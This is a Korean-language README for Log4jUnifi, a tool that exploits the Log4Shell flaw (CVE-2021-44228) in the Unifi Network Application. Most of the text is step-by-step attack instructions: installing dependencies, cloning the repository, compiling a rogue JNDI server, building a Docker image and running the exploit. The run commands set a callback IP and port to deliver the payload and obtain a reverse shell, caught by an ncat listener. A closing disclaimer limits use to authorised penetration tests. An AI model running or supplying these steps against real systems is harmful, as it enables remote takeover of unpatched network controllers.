
Unifi Network Application에서 CVE-2021-44228을 악용하여 원격 코드 실행 및 그 이상을 수행합니다.
Unifi Network Application에서 CVE-2021-44228을 악용하여 원격 코드 실행 및 그 이상을 수행합니다.
이 취약점에 대한 개념 증명은 곳곳에 흩어져 있고 수동으로 수행해야 합니다. 이 저장소는 악용 프로세스를 자동화합니다. 사후 악용에 대한 지침은 위의 블로그 게시물을 참조하세요.
이 저장소는 수동으로 또는 Docker를 사용하여 사용할 수 있습니다.
악용 도구를 수동으로 다운로드하고 실행하려면 다음 단계를 수행하세요. 먼저 공격자 호스트에 Java와 Maven이 설치되어 있는지 확인하세요. Debian 기반 운영 체제에서 apt를 사용하여 이를 수행하려면 다음 명령을 실행하세요:
apt update && apt install openjdk-11-jre maven
GitHub 저장소를 클론하고 모든 Python 요구 사항을 설치하세요:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
Log4jUnifi 저장소의 루트에서 아래 명령을 사용하여 Rogue-Jndi 프로젝트를 컴파일하세요:
mvn package -f utils/rogue-jndi/
먼저 공격 호스트에 Docker가 설치되어 있는지 확인하세요. (이 과정을 안내하지는 않겠습니다)
그런 다음 다음 명령을 실행하여 저장소를 클론하고 사용할 Docker 이미지를 빌드하세요.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
컨테이너를 실행하려면 명령줄 플래그를 추가하여 다음 명령과 유사한 명령을 실행하세요. 컨테이너는 리버스 셸을 잡지 못한다는 점에 유의하세요. 별도의 셸 세션에서 ncat 리스너를 만들어야 합니다:
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
로컬 시스템에 설치된 도구를 사용하여 리버스 셸을 얻습니다:
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
이 도구는 침투 테스트 중 사용하도록 설계되었습니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 모든 해당 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며 이 프로그램의 오용에 대해 책임지지 않습니다.